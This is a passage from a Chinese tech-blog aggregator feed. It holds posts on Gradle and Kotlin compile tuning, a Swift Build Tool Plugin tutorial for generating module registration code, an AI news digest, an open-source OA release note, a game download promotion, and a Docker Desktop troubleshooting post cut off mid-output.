  • Kotlin 编译器守护进程堆内存 4096M
  • 使用并发 GC 回收实现(官方推荐)

设置过小的最大内存可能导致 OOM;设置过大的最大内存会使你的编译环境变得很卡。我们团队的工程曾经因为构建 release 包 OOM,把两个最大内存都改到了 8G,结果导致平时开发变得很卡。

所以这里也建议分开维护 CI 构建和本地开发的 org.gradle.jvmargs 参数。方式有两种:

  1. 运行 gradle 前替换 gradle.properties 的内容;
  2. 运行 gradle 时增加命令行参数,如:-Dorg.gradle.jvmargs="-Xmx8192M -Dkotlin.daemon.jvm.options\\=\"-Xmx8192M\""

13. 技巧——修复 Could not connect to Kotlin compile daemon

如果你感觉这次编译突然变慢了很多,而且出现了 Could not connect to Kotlin compile daemon,那么说明 Kotlin 编译器的守护进程挂了(猜测是 OOM 导致)。失去了守护进程的 Kotlin 没有了复用能力,Kotlin 编译会慢很多倍。

这个时候取消编译重新跑一次,会比你老实等待编译完成更快。

Sickworm 锐评

  • 收益:大
  • 成本:小
  • 综合推荐度:🌟🌟🌟🌟🌟(Nothing to loss, right?)

14. kotlin 增量编译 kotlin.incremental.useClasspathSnapshot=true

这个参数据说可以增快 40% Kotlin 1.7 的编译速度(A new approach to incremental compilation)。

但我加到工程里之后,编译耗时大盘均值基本没有波动。

不仅如此,后面在复用 CI 缓存的时候发现这个参数还导致 CI 的 task 缓存和本地编译的 task 缓存无法复用。遂弃之。

Sickworm 锐评

  • 收益:负
  • 成本:无
  • 综合推荐度:这很难评

15. 一些其他的,一般都已经打开的的编译参数

kapt.incremental.apt=true

开启 kapt 增量编译,需要 kapt 注解器支持。未发现副作用。

org.gradle.configureondemand=true

按需 configuration 模块。如果一个 task 不需要所有模块执行,那就不配置所有模块。未发现副作用。

org.gradle.daemon=true

复用 gradle 进程,复用的情况下,编译可以快约 30%。

但无论开关,Android Studio 都会开启一个常驻进程。

但还是建议开启,因为对云编译有效。

org.gradle.parallel=true

并行执行 task。未发现副作用。

结尾

感谢阅读,欢迎交流!

by sickworm陈浩 at January 27, 2025 06:30 AM

juejin ios

使用Build Tool Plugin 实现Swift源代码生成

WWDC2022 上,苹果介绍了 Build Tool Plugin,可以用来在编译前生成源代码。

这里记录一下使用 Build Tool Plugin 做源代码生成的全过程,实现在编译时自动生成模块注册代码,无需手动写代码注册。(本文中的测试工程为 Swift Package Manager的工程,扫描的也是主工程里的代码。

使用场景

在 iOS 工程里,我们往往会在 AppDelegate 中的 application(_:didFinishLaunchingWithOptions:) 中去做一些功能模块的注册,如下所示:

class AppDelegate: UIApplicationDelegate {
    func application(_ application: UIApplication, didFinishLaunchingWithOptions launchOptions: [UIApplication.LaunchOptionsKey: Any]?) -> Bool {
        // 路由注册
        Navigator.register("/xxx", {
            return XXXViewController()
        })
        // 模块注册
        ModuleManager.register(XXXModule.self)
        // ...
        return true
    }
}

这种手动注册的方式容易遗漏。在使用 OC 的时候,很多框架会通过宏定义,将要注册的模块存放到指定的 segment 和 section 中,在启动之后读取来完成注册。在 Swift 为主的工程里,我们可以使用 Build Tool Plugin 来自动生成注册代码。

创建 Build Tool Plugin

Xcode -> File -> New -> Package -> Build Tool Plugin。

生成代码的思路:扫描源码中所有实现了 AppModule 协议的模块,然后生成注册代码。要做到扫描并分析源码,我们需要使用到 swift-syntax 库,插件的 Package.swift 如下所示:

// swift-tools-version: 5.9
import PackageDescription

let package = Package(
    name: "AppModulePlugin",
    platforms: [.macOS(.v13), .iOS(.v13)],
    products: [
        .plugin(
            name: "AppModuleGenerator",
            targets: ["AppModuleGenerator"]
        )
    ],
    dependencies: [
        .package(url: "https://github.com/swiftlang/swift-syntax.git", from: "600.0.0-latest")
    ],
    targets: [
        .plugin(
            name: "AppModuleGenerator",
            capability: .buildTool(),
            dependencies: ["AppModuleGeneratorTool"]
        ),
        .executableTarget(
            name: "AppModuleGeneratorTool",
            dependencies: [
                .product(name: "SwiftSyntax", package: "swift-syntax"),
                .product(name: "SwiftParser", package: "swift-syntax"),
            ]
        ),
    ]
)
  • Plugin Target ( AppModuleGenerator )

  • 这是一个插件目标,通过 .plugin() 声明

  • 设置了 .buildTool() 能力,表明这是一个构建工具插件

  • 这个插件本身是与 Xcode 构建系统集成的接口层,负责:

    • 定义插件的配置
    • 处理构建系统的调用
    • 决定何时以及如何调用实际的代码生成工具
  • Executable Target ( AppModuleGeneratorTool )

  • 这是一个可执行目标,通过 .executableTarget() 声明

  • 包含实际的代码生成逻辑

  • 依赖 SwiftSyntax 和 SwiftParser 来解析和处理 Swift 源代码

  • 这是实际执行源代码分析和生成的工具

Plugin 代码实现

// Plugins/AppModuleGenerator/AppModuleGenerator.swift
import Foundation
import PackagePlugin

// 主入口,实现 BuildToolPlugin 协议用于 SPM 构建系统
@main
struct AppModuleGenerator: BuildToolPlugin {
    // 创建构建命令,在构建时会被 SPM 调用
    // - context: 提供插件运行环境信息
    // - target: 当前正在构建的目标
    func createBuildCommands(context: PluginContext, target: Target) async throws -> [Command] {
        // 1. 获取目标目录和源代码目录
        // - pluginWorkDirectory: 插件的工作目录,用于存放生成的文件
        // - directory: 目标的源代码根目录
        let targetDir = context.pluginWorkDirectory
        let sourceRoot = target.directory.string

        // 2. 获取可执行工具的路径
        // 获取在 Package.swift 中定义的 AppModuleGeneratorTool 可执行文件
        let generatorTool = try context.tool(named: "AppModuleGeneratorTool")

        // 3. 定义生成文件的输出路径
        // 生成的文件将被命名为 AppDelegate+AppModule.generated.swift
        let outputFile = targetDir.appending("AppDelegate+AppModule.generated.swift")

        // 4. 构造构建命令
        // 返回一个构建命令数组,这里只有一个命令
        return [
            .buildCommand(
                displayName: "Generating AppModule Registrations", // 在构建日志中显示的名称
                executable: generatorTool.path,                    // 要执行的工具路径
                arguments: [                                       // 传递给工具的命令行参数
                    "--target-dir", targetDir.string,
                    "--source-root", sourceRoot,
                ],
                environment: [                                     // 传递给工具的环境变量
                    "TARGET_DIR": targetDir.string,
                    "SOURCE_ROOT": sourceRoot,
                ],
                outputFiles: [outputFile]                         // 声明输出文件,用于增量构建
            )
        ]
    }
}

// 为 Xcode 项目提供支持
#if canImport(XcodeProjectPlugin)
    import XcodeProjectPlugin

    // 扩展支持 Xcode 项目的插件功能
    extension AppModuleGenerator: XcodeBuildToolPlugin {
        // 与 SPM 版本类似,但使用 Xcode 特定的上下文和目标类型
        func createBuildCommands(context: XcodePluginContext, target: XcodeTarget) throws
            -> [Command]
        {
            // 1. 获取目标目录和源代码目录
            // 在 Xcode 项目中,源代码根目录是整个项目目录
            let targetDir = context.pluginWorkDirectory
            let sourceRoot = context.xcodeProject.directory.string

            // 2. 获取可执行工具的路径
            let generatorTool = try context.tool(named: "AppModuleGeneratorTool")

            // 3. 定义生成文件的输出路径
            let outputFile = targetDir.appending("AppDelegate+AppModule.generated.swift")

            // 4. 构造构建命令
            // 配置与 SPM 版本相同
            return [
                .buildCommand(
                    displayName: "Generating AppModule Registrations",
                    executable: generatorTool.path,
                    arguments: [
                        "--target-dir", targetDir.string,
                        "--source-root", sourceRoot,
                    ],
                    environment: [
                        "TARGET_DIR": targetDir.string,
                        "SOURCE_ROOT": sourceRoot,
                    ],
                    outputFiles: [outputFile]
                )
            ]
        }
    }
#endif

主要是用来调用实际的代码生成工具(AppModuleGeneratorTool), 并配置生成文件的输出路径,核心的代码生成逻辑都在 AppModuleGeneratorTool 中实现。

代码生成逻辑

struct AppModuleGeneratorTool {
    static func main() throws {
        // 1. 解析 Plugin 中设置的命令行参数
        let arguments = ProcessInfo.processInfo.arguments
        guard arguments.count >= 5,
            arguments[1] == "--target-dir",
            arguments[3] == "--source-root"
        else {
            throw PluginError.invalidArguments
        }

        let targetDir = arguments[2]
        let sourceRoot = arguments[4]

        // 2. 扫描源代码文件
        let sourceFiles = try scanSourceFiles(at: sourceRoot)

        // 3. 解析实现了 AppModule 的类型
        let modules = try parseModules(from: sourceFiles)

        // 4. 生成注册代码文件
        try generateRegistrationCode(modules: modules, targetDir: targetDir)
    }
    // ...
}

try AppModuleGeneratorTool.main()

源代码扫描

/// 扫描指定路径下的所有 Swift 源文件
/// - Parameter path: 要扫描的根目录路径
/// - Returns: 所有找到的 Swift 文件的 URL 数组
/// - Throws: 文件操作相关的错误
private static func scanSourceFiles(at path: String) throws -> [URL] {
    let fileManager = FileManager.default
    let directoryURL = URL(fileURLWithPath: path, isDirectory: true)
    var swiftFiles: [URL] = []

    // 创建文件枚举器
    // - includingPropertiesForKeys: 预加载文件的属性,提高性能
    // - options:
    //   - skipsHiddenFiles: 跳过隐藏文件
    //   - skipsPackageDescendants: 跳过包含 Package.swift 的目录
    let enumerator = fileManager.enumerator(
        at: directoryURL,
        includingPropertiesForKeys: [.isRegularFileKey],
        options: [.skipsHiddenFiles, .skipsPackageDescendants]
    )

    // 遍历目录中的所有文件
    while let fileURL = enumerator?.nextObject() as? URL {
        // 检查是否为常规文件(非目录)且扩展名为 swift
        guard try fileURL.resourceValues(forKeys: [.isRegularFileKey]).isRegularFile == true,
            fileURL.pathExtension == "swift"
        else {
            continue
        }
        swiftFiles.append(fileURL)
    }
    return swiftFiles
}

源代码解析

// MARK: - 语法树解析
/// 解析源文件中实现了 AppModule 协议的类型
/// - Parameter files: 要解析的 Swift 源文件 URL 数组
/// - Returns: 实现了 AppModule 协议的类型名称数组
/// - Throws: 文件读取或解析过程中的错误
private static func parseModules(from files: [URL]) throws -> [String] {
    var modules: [String] = []

    // 遍历每个源文件
    for fileURL in files {
        // 读取源文件内容
        let source = try String(contentsOf: fileURL)
        // 使用 SwiftParser 将源代码解析为语法树
        let syntaxTree = Parser.parse(source: source)

        // 创建自定义访问器,用于遍历语法树
        // viewMode: .sourceAccurate 表示需要准确的源代码信息
        let visitor = AppModuleVisitor(viewMode: .sourceAccurate)
        // 遍历语法树,visitor 会收集实现了 AppModule 协议的类型
        visitor.walk(syntaxTree)
        modules.append(contentsOf: visitor.foundModules)
    }

    return modules
}

在获取到语法树之后,我们需要遍历语法树,找到实现了 AppModule 协议的类型。这里使用了 SwiftParser 库来解析源代码,并创建了一个自定义访问器 AppModuleVisitor。AppModuleVisitor 是一个继承自 SyntaxVisitor 的类,它会遍历语法树并收集实现了 AppModule 协议的类型。

SyntaxVisitor

SyntaxVisitor 是 SwiftSyntax 库中的一个核心组件,用于遍历和操作 Swift 代码的语法树(Syntax Tree)。它基于访问者模式(Visitor Pattern),允许你以类型安全的方式遍历语法树的节点,并对特定节点执行操作。基本用法如下:

import SwiftSyntax
import SwiftParser

class MyVisitor: SyntaxVisitor {
    override func visit(_ node: ClassDeclSyntax) -> SyntaxVisitorContinueKind {
        print("Found class: \(node.name.text)")
        return .visitChildren // 继续遍历子节点
    }

    override func visit(_ node: FunctionDeclSyntax) -> SyntaxVisitorContinueKind {
        print("Found function: \(node.name.text)")
        return .skipChildren // 跳过子节点
    }
}


let source = """
class MyClass {
    func myFunction() {}
}
"""

let syntaxTree = Parser.parse(source: source)
let visitor = MyVisitor(viewMode: .sourceAccurate)
// 遍历语法树
visitor.walk(syntaxTree)

// 输出
// Found class: MyClass
// Found function: myFunction

SyntaxVisitor 核心方法: visit(_:) 是 SyntaxVisitor 的核心方法。每个节点类型都有对应的 visit 方法,你可以重写这些方法来处理特定类型的节点。例如:

  • visit(_ node: ClassDeclSyntax)
  • visit(_ node: FunctionDeclSyntax)
  • visit(_ node: VariableDeclSyntax)

visit 方法的返回值SyntaxVisitorContinueKind决定了遍历的行为:

  • .visitChildren:继续遍历当前节点的子节点。
  • .skipChildren:跳过当前节点的子节点。

常用场景:

  1. 收集所有类名
class ClassNameCollector: SyntaxVisitor {
    var classNames: [String] = []

    override func visit(_ node: ClassDeclSyntax) -> SyntaxVisitorContinueKind {
        classNames.append(node.name.text)
        return .visitChildren
    }
}

let source = """
class MyClass {}
class AnotherClass {}
"""

let syntaxTree = Parser.parse(source: source)
let collector = ClassNameCollector(viewMode: .sourceAccurate)
collector.walk(syntaxTree)

print(collector.classNames) // 输出:["MyClass", "AnotherClass"]
  1. 查找特定函数
class FunctionFinder: SyntaxVisitor {
    var foundFunctions: [String] = []

    override func visit(_ node: FunctionDeclSyntax) -> SyntaxVisitorContinueKind {
        if node.name.text == "myFunction" {
            foundFunctions.append(node.name.text)
        }
        return .visitChildren
    }
}

let source = """
func myFunction() {}
func anotherFunction() {}
"""

let syntaxTree = Parser.parse(source: source)
let finder = FunctionFinder(viewMode: .sourceAccurate)
finder.walk(syntaxTree)

print(finder.foundFunctions) // 输出:["myFunction"]
  1. 使用 SyntaxRewriter 修改语法树
class MyRewriter: SyntaxRewriter {
    override func visit(_ node: FunctionDeclSyntax) -> DeclSyntax {
        // 修改函数名
        let newName = TokenSyntax.identifier("newFunction")
        return super.visit(node.with(\.name, newName))
    }
}

let source = """
func myFunction() {}
"""

let syntaxTree = Parser.parse(source: source)
let rewriter = MyRewriter(viewMode: .sourceAccurate)
let newTree = rewriter.visit(syntaxTree)

print(newTree.description) // 输出:func newFunction() {}

AppModuleVisitor

了解了 SyntaxVisitor 的基本用法之后,我们就可以很快写出这样一个扫描实现了指定协议 AppModule 的 Visitor。

class AppModuleVisitor: SyntaxVisitor {
    var foundModules: [String] = []

    override func visit(_ node: ClassDeclSyntax) -> SyntaxVisitorContinueKind {
        checkConformance(in: node)
        return .skipChildren
    }

    private func checkConformance(in node: some DeclGroupSyntax) {
        guard let inheritanceClause = node.inheritanceClause else { return }

        // 检查是否遵循 AppModule 协议
        for inheritedType in inheritanceClause.inheritedTypes {
            let typeName = inheritedType.type.trimmedDescription
            if typeName == "AppModule" {
                // 通过具体类型获取名称
                if let classDecl = node.as(ClassDeclSyntax.self) {
                    foundModules.append(classDecl.name.text)
                }
                break
            }
        }
    }
}

源代码生成

生成的逻辑就比较简单了,获取到所有实现了 AppModule 协议的类名之后,遍历生成注册方法即可,我这里是通过生成了一个 AppDelegate 的 Extension,提供一个 registerAppModules 的方法。

    private static func generateRegistrationCode(modules: [String], targetDir: String) throws {
        let outputURL = URL(fileURLWithPath: targetDir)
            .appendingPathComponent("AppDelegate+AppModule.generated.swift")

        let codeContent = """
            // Auto-generated by AppModuleGenerator - DO NOT EDIT

            import Foundation
            import AppModuleKit

            extension AppDelegate {
                func registerAppModules() {
                    \(modules.map { "AppModuleCenter.shared.register(\($0).self)" }.joined(separator: "\n        "))
                }
            }
            """

        do {
            try codeContent.write(to: outputURL, atomically: true, encoding: .utf8)
        } catch {
            throw PluginError.fileOperationFailed(path: outputURL.path)
        }
    }

在 Xcode 工程中使用

dependencies.png 在 Xcode 工程里先添加本地的包进行测试,然后在对应 Target 的 Build Phases 中添加 Build Tool。

buildToolTarget.png

添加调用,按住 Command 点击该方法就可以看到生成的代码。

override func application(_ application: UIApplication, didFinishLaunchingWithOptions launchOptions: [UIApplication.LaunchOptionsKey: Any]? = nil) -> Bool {
    registerAppModules()
    return true
}

AppDelegate+AppModule.generated.png

运行之后也一切正常。

后话

测试的工程是由 Swift Package Mangaer 管理的,Cocoapods 的工程还没试过。

对于一些在 Package 里声明的 Module,还有一些打包成 xcframework 的库,目前这个方式是扫描不出来的,感觉也可以在打包流程加入一个 Plugin,生成一些配置文件,最后在主工程解析配置文件,生成注册代码。

插件仓库:github.com/FeliksLv01/…

by FeliksLv at January 27, 2025 05:53 AM

juejin article

杨立昆谈 Deepseek:开源正在超越私有;SpeechGPT 2.0-preview:情景智能拟人化实时交互系统

开发者朋友们大家好:

这里是 「RTE 开发者日报」 ,每天和大家一起看新闻、聊八卦。我们的社区编辑团队会整理分享 RTE(Real-Time Engagement) 领域内「有话题的 新闻 」、「有态度的 观点 」、「有意思的 数据 」、「有思考的 文章 」、「有看点的 会议 」,但内容仅代表编辑的个人观点,欢迎大家留言、跟帖、讨论。

本期编辑:@qqq,@鲍勃

01 社区项目推荐

1、SpeechGPT 2.0-preview:迈向情景智能推出的第一个拟人化实时交互系统。

SpeechGPT 2.0-preview 是我们在迈向情景智能推出的第一个拟人化实时交互系统。作为在百万小时级语音数据上训练的端到端语音大模型,它具有拟人口语化表达与百毫秒级低延迟响应,支持自然流畅的实时打断交互。SpeechGPT 2.0-preview 较好的对齐了语音和文本两个模态:一方面展现出了一定的风格泛化能力,能够精准捕捉用户指令,实现多情感、多风格、多音色的精准控制与智能切换;拥有不错的角色扮演能力,能够模拟各类角色的语气和情感状态;它还具备多种语音才艺,能够进行诗歌朗诵、故事讲述、说方言等;另一方面,它在具备语音表现力的同时有不错的智商与文本能力,从而具备支持工具调用、联网搜索、外挂知识库等功能的能力。SpeechGPT 2.0-preview 目前只在中文语音数据上做了训练,没有混英文语音数据训练,因此目前模型还没有英文对话能力。

本项目实时音频传输服务由声网和 RTE 开发者社区支持。

「RTE 开发者陪跑计划」助力更多优秀 Real-Time AI 和 Voice Agent 项目成长,申请计划:

www.rtecommunity.dev/t/t_dSuzw47…

02 有话题的技术

1、百川智能开源全模态模型 Omni-1.5 上线,称多项能力超越 GPT-4o mini

1 月 26 日,百川智能宣布正式上线 Baichuan-Omni-1.5 开源全模态模型。该模型不仅支持文本、图像、音频和视频的全模态理解,还具备文本和音频的双模态生成能力。在视觉、语音及多模态流式处理等方面,Baichuan-Omni-1.5 的表现均优于 GPT-4o mini。

官方宣称,其在视觉、语音及多模态流式处理等方面,Baichuan-Omni-1.5 的表现均优于 GPT-4o mini;在多模态医疗应用领域,其具备更突出的领先优势。

Baichuan-Omni-1.5 不仅能在输入和输出端实现多种交互操作,还拥有强大的多模态推理能力和跨模态迁移能力。

其在音频技术领域采用了端到端解决方案,可支持多语言对话、端到端音频合成,还可实现自动语音识别、文本转语音等功能,且支持音视频实时交互。

据介绍,在视频理解能力方面,Baichuan-Omni-1.5 通过对编码器、训练数据和训练方法等多个关键环节进行深入优化,其整体性能大幅超越 GPT-4o-mini。(@界面新闻)

2、支持 100 万 Tokens 上下文的 Qwen2.5-1M 开源模型来了

今天,Qwen 正式推出开源的 Qwen2.5-1M 模型及其对应的推理框架支持。 本次发布的亮点:

开源模型: 本次发布了两个新的开源模型,分别是 Qwen2.5-7B-Instruct-1M 和 Qwen2.5-14B-Instruct-1M,这是 Qwen 首次将开源的 Qwen 模型的上下文扩展到 1M 长度。

推理框架: 为了帮助开发者更高效地部署 Qwen2.5-1M 系列模型,Qwen 团队完全开源了基于 vLLM 的推理框架,并集成了稀疏注意力方法,使得该框架在处理 1M 标记输入时的速度提升了 3 倍到 7 倍。

技术报告: Qwen 团队还分享了 Qwen2.5-1M 系列背后的技术细节,包括训练和推理框架的设计思路以及消融实验的结果。

另外,最近也推出了 Qwen Chatchat.qwenlm.ai/) ,一个基于 Qwen 系列的 AI 助手。用户可以与他对话、编程、生成图像与视频,使用搜索以及调用工具等功能。除此之外,还可以在 Qwen Chat 中与使用上下文长度同样为 1M 的 Qwen2.5-Turbo 模型进行长序列处理。(@通义千问 Qwen)

3、DeepSeek AI 助手登顶苹果商店:低成本、高效率,中国 AI 崛起引发全球关注

(图片来源:量子位)

中国人工智能公司 DeepSeek 近日发布其推理模型 R1 的开放版本,迅速在科技界引发热议。其惊人的突破性成就不仅令风险投资家马克·安德森惊叹为「我见过的最令人惊叹、最令人印象深刻的突破之一」,更在 AI 基准测试中展现出匹敌甚至超越 OpenAI o1 模型的实力。

尤其引人关注的是,DeepSeek 声称其模型训练成本仅为 560 万美元,而美国领先企业则需要数亿美元,这无疑颠覆了人们对 AI 模型开发成本的认知。

Y Combinator 首席执行官 Garry Tan 认为 DeepSeek 的成功将促使 AI 推理需求加速,从而带动整个行业发展。Meta 首席人工智能科学家 Yann LeCun 也强调,DeepSeek 的成功并非是中美竞争的体现,而是「开源模型正在超越专有模型」的有力证明。他认为 DeepSeek 的发展得益于开源研究和开源工具,并促进了技术的进一步发展,最终让所有人受益。

值得一提的是,DeepSeek 的 AI 助手在发布后迅速走红。截至周日下午,该应用已超越 ChatGPT,登顶苹果 App Store 免费应用榜首,进一步显示了其受欢迎程度。(@AIbase 基地)

4、Video Depth Anything:字节开源首款 10 分钟级长视频深度估计模型,性能 SOTA

Video Depth Anything 工作来自字节跳动智能创作 AR 团队与豆包大模型团队。字节跳动智能创作 AR 团队致力于建设领先的计算机视觉、音视频编辑、特效处理、3D 视觉与增强现实(AR)等技术。豆包大模型团队成立于 2023 年,致力于开发先进的 AI 大模型技术,成为业界一流的研究团队。

近期,字节智能创作 AR 团队联合豆包大模型团队开发的 Video Depth Anything(VDA)基于 Depth Anything V2,它融合了高效的时空头、精简的时域一致性损失函数,以及新颖的基于关键帧长视频推理策略,甚至可面向 10 分钟级的视频,完成深度估计任务。

在不牺牲泛化能力、细节生成能力和计算效率前提下,VDA 实现了时序稳定的深度估计,且无需引入复杂视频生成先验知识,为单目深度估计在视频领域应用提供全新解决方案。(@机器之心)

5、今年贺岁档电影 AI 起来了,《唐探 1900》还没上线,AI 大模型让它先火了一把

从《唐探 1900》官方微博发布的消息来看,这是电影圈里首款 AI 动态海报,效果之灵动,斩获了一众网友们的好评,不止是在网上,甚至是在北京王府井、上海南京路,以及成都春熙路上,都已经开始播放这个 AI 海报。

而视频背后的 AI,正是百度智能云千帆大模型平台刚刚上新的图生视频组件(联合生数科技)。

可以说,这是影视圈和科技圈双顶流之间的一次合作。(@量子位)

03 有态度的观点

1、图灵奖得主杨立昆谈 DeepSeek 及 AGI:开源即一切

在 DeepSeek 激起千层浪的时刻,作为技术开源最忠实的拥趸,杨立昆为 Deepseek 发声:「与其说是中国在人工智能上超越美国,正确的看法应该是开源代码正在超越私有模式。DeepSeek 从开放研究和开放源码中受益(例如来自 Meta 的 PyTorch 和 Llama),提出了新想法,并将它们建在其他人的工作之上。而因为他们的作品也是开源的,每个人都可以从中获益。这就是开放研究和开放源代码的力量。」杨立昆一直不遗余力地强调 AI 竞争中「开源」的重要性,在前阵子他参加由约翰霍普金斯大学举办的讲座上,面对硅谷知名记者 Kara Swisher,他仍然用到了 PyTorch 和 Llama 作为例子。同时,他的语出惊人也没有改变,分享了许多别具一格的观点:

  • 一昧给 AI 研究和开发加限制,企图用这种方式避免危害,是一种适得其反的做法,是出于 AI 技术的错误理解。

  • 人类认为语言是智能的顶峰有点违反直觉。它实际上很简单,因为它只是一系列离散的符号。人工智能不应该局限于语言。

  • 目前为训练大模型而烧的钱不冤枉,那是面向未来的长期投资。(@ APPSO)

更多 Voice Agent 学习笔记:

2024,语音 AI 元年;2025,Voice Agent 即将爆发丨年度报告发布

对话谷歌 Project Astra 研究主管:打造通用 AI 助理,主动视频交互和全双工对话是未来重点

这家语音 AI 公司新融资 2700 万美元,并预测了 2025 年语音技术趋势

语音即入口:AI 语音交互如何重塑下一代智能应用

Gemini 2.0 来了,这些 Voice Agent 开发者早已开始探索……

帮助用户与 AI 实时练习口语,Speak 为何能估值 10 亿美元?丨Voice Agent 学习笔记

市场规模超 60 亿美元,语音如何改变对话式 AI?

2024 语音模型前沿研究整理,Voice Agent 开发者必读

从开发者工具转型 AI 呼叫中心,这家 Voice Agent 公司已服务 100+客户

WebRTC 创建者刚加入了 OpenAI,他是如何思考语音 AI 的未来?

写在最后:

我们欢迎更多的小伙伴参与「RTE 开发者日报」内容的共创,感兴趣的朋友请通过开发者社区或公众号留言联系,记得报暗号「共创」。

对于任何反馈(包括但不限于内容上、形式上)我们不胜感激、并有小惊喜回馈,例如你希望从日报中看到哪些内容;自己推荐的信源、项目、话题、活动等;或者列举几个你喜欢看、平时常看的内容渠道;内容排版或呈现形式上有哪些可以改进的地方等。

素材来源官方媒体/网络新闻

by RTE开发者社区 at January 27, 2025 05:48 AM

oschina news project

开源 OA 办公系统 — 勾股 OA 5.6.8 新春版发布

勾股 OA 办公系统是一款简单实用的开源的企业办公系统。系统集成了系统设置、附件管理、人事管理、行政管理、消息管理、企业公告、知识网盘、审批流程设置、办公审批、日常办公、财务管理、客户管理、合同管理、项目管理、任务管理等功能模块。系统简约,易于功能扩展,方便二次开发,可以用来做日常 OA,CRM,ERP,业务管理等系统。

勾股OAv5.6.8新春版发布啦,勾股 OA5.6.8主要是部分功能操作优化、小bug修复,是小版本的升级,不需要更新数据库文件,升级前记得先备份

主要的更新日志如下:

1、优化:添加项目项目成员为必填项但可以不填写就创建,页面标为必填项
2、优化:新增项目成员什么都没选择点击清空已选,便会新增一条普通成员进去,清除功能调用了添加成员的接口,后端未验证是否是正确的人员信息就添加进去了
3、优化:项目详情,上传的附件修改名称后,在上传一个附件便会把修改的名称给重新更新(修改名称未生效,刷新页面后显示原名称)
4、修复:客户详情页联系人设置首要联系人接口报错
5、修复:分配客户接口报错问题
6、修复:无法删除付款记录问题
7、修复:合同列表审批状态《待提交审批》进行查询结果错误
8、优化:产品列表产品分类无法删除,删除未调用删除接口
9、修复:产品列表分类被禁用后点击删除按钮,提示操作成功但是会直接把产品状态更改为正常
10、修复:修复新增工作日保存失败的问题
11、修复:项目新增时,默认把项目阶段的负责人和阶段成员都加入到项目成员中。
12、更新:更新layui到最新的版本2.9.21
13、优化:优化项目阶段展示效果及项目详情页展示,已完成的项目不可编辑也不可删除
14、修复工作任务的附件查看bug
15、修复:用章申请登记使用问题修复
16、修复:收票列表的开票时间和详情展示不一样的问题修复。
17、修复:修复附件管理,无法删除分组的问题。
18、优化:新增表单,防止多次点击重复提交。
19、其他优化和问题调整。

勾股 OA5.6.8,具体看如下功能导图:

内置模块

  • 配置管理:对系统的常规配置信息进行维护,网站配置管理功能统一维护。
  • 用户管理:维护管理系统的用户,常规信息的维护与账号设置。
  • 菜单管理:配置系统菜单,操作权限,按钮权限标识等。
  • 权限角色:角色菜单管理与权限分配、设置角色所拥有的菜单权限。
  • 部门管理:管理系统组织架构,对组织架构进行统一管理维护。
  • 岗位管理:管理用户担任的岗位。
  • 操作日志:系统正常操作日志记录和查询;系统异常信息日志记录和查询。
  • 基础数据:对系统中常用的较为固定的数据进行统一维护管理。
  • 消息通知:系统通知私信、消息等管理。
  • 企业公告:企业公告信息发布维护。
  • 办公审批:支持人事、财务、行政、业务等多审批流程。
  • 日常办公:日程、计划、周报、日报、月报等信息化办公工具。
  • 财务管理:财务报销、开票、收票、到账,付款财务数据规范化管理。
  • 客户管理:统一管理客户,沉淀客户资产,避免客户流失。
  • 合同管理:合同维护、审批、执行、变更、关闭全流程管理。
  • 项目管理:项目操作记录全覆盖跟踪,项目进度一目了然,任务分派,工时记录。
  • 知识网盘:工作经验、行业知识、文件归类管理。

软件信息

系统预览

by 来源: 投稿 at January 27, 2025 04:34 AM

juejin android

塔防游戏推荐:王国保卫战1-5部全集系列 PC+安卓+ios下载

《王国保卫战》(Kingdom Rush)是由乌拉圭的Ironhide Game Studio游戏工作室开发的一系列塔防策略类游戏。这个系列被广泛认为是传统塔防游戏的巅峰之作。游戏的主要玩法是在地图上建造防御塔来抵御各种敌人的进攻,如兽人、巨魔、恶魔等。游戏场景包括森林、山野、荒地等多种环境,玩家可以升级防御塔,使用不同类型的塔如箭塔、兵营、魔法塔、炮塔等。此外,游戏还提供了英雄和特殊技能,如援军和火雨,增加了策略性。

游戏特点

丰富的防御塔类型:游戏中有多种防御塔可供选择,包括箭塔、法师塔、炮塔等,每种塔都有独特的攻击方式和升级路径。

多样的敌人类型:敌人种类繁多,包括步兵、骑兵、飞行单位等,每种敌人都有不同的特点和弱点。

策略性玩法:玩家需要根据敌人的类型和波次,合理布置防御塔,制定战术策略,才能成功抵御敌人的进攻。

精美的画面和音效:游戏画面精美,音效出色,为玩家提供了沉浸式的游戏体验。

游戏地址:pan.quark.cn/s/6e2d6ebdb…

更多资源:link3.cc/qwe4180

by 用户8170752113339 at January 27, 2025 04:01 AM

juejin career

Docker Desktop突然无法使用的问题解决办法

默认安装的docker desktop是没有勾选wsl的,这种情况下,直接使用power shell或者cmd执行docker ps都会报超时。

最好的先用梯子,在jetBrain的services窗口,连接docker后,在images那执行docker pull,这样就可以拉取镜像了!

遇到的问题:清理了一下电脑,原本没问题的docker desktop无法使用了

鼓捣半天后无论执行什么命令都是下面问题

win10 docker报错  error during connect: Get https://192.168.99.100:2376和Error checking TLS connection

无论执行什么命令都报错连接超时

C:\Windows\system32> docker images
error during connect: Get "http://192.168.99.100:2376/v1.24/images/json": 
dial tcp 192.168.99.100:2376: connectex: A connection attempt failed because the 
connected party did not properly respond after a period of time, 
or established connection failed because connected host has failed to respond.

我们先到Docker安装目录下执行以下命令

C:\Program Files\Docker\Docker> .\DockerCli.exe -SwitchDaemon

然后事项docker-machine

PS C:\Program Files\Docker\Docker> docker-machine
Usage: docker-machine.exe [OPTIONS] COMMAND [arg...]

Create and manage machines running Docker.

Version: 0.14.0, build 89b8332

Author:
  Docker Machine Contributors - <https://github.com/docker/machine>

Options:
  --debug, -D                                                   Enable debug mode
  --storage-path, -s "C:\Users\Administrator\.docker\machine"   Configures storage path [$MACHINE_STORAGE_PATH]
  --tls-ca-cert                                                 CA to verify remotes against [$MACHINE_TLS_CA_CERT]
  --tls-ca-key                                                  Private key to generate certificates [$MACHINE_TLS_CA_KEY]
  --tls-client-cert                                             Client cert to use for TLS [$MACHINE_TLS_CLIENT_CERT]
  --tls-client-key                                              Private key used in client TLS auth [$MACHINE_TLS_CLIENT_KEY]
  --github-api-token                                            Token to use for requests to the Github API [$MACHINE_GITHUB_API_TOKEN]
  --native-ssh                                                  Use the native (Go-based) SSH implementation. [$MACHINE_NATIVE_SSH]
  --bugsnag-api-token                                           BugSnag API token for crash reporting [$MACHINE_BUGSNAG_API_TOKEN]
  --help, -h                                                    show help
  --version, -v                                                 print the version

Commands:
  active                Print which machine is active
  config                Print the connection config for machine
  create                Create a machine
  env                   Display the commands to set up the environment for the Docker client
  inspect               Inspect information about a machine
  ip                    Get the IP address of a machine
  kill                  Kill a machine
  ls                    List machines
  provision             Re-provision existing machines
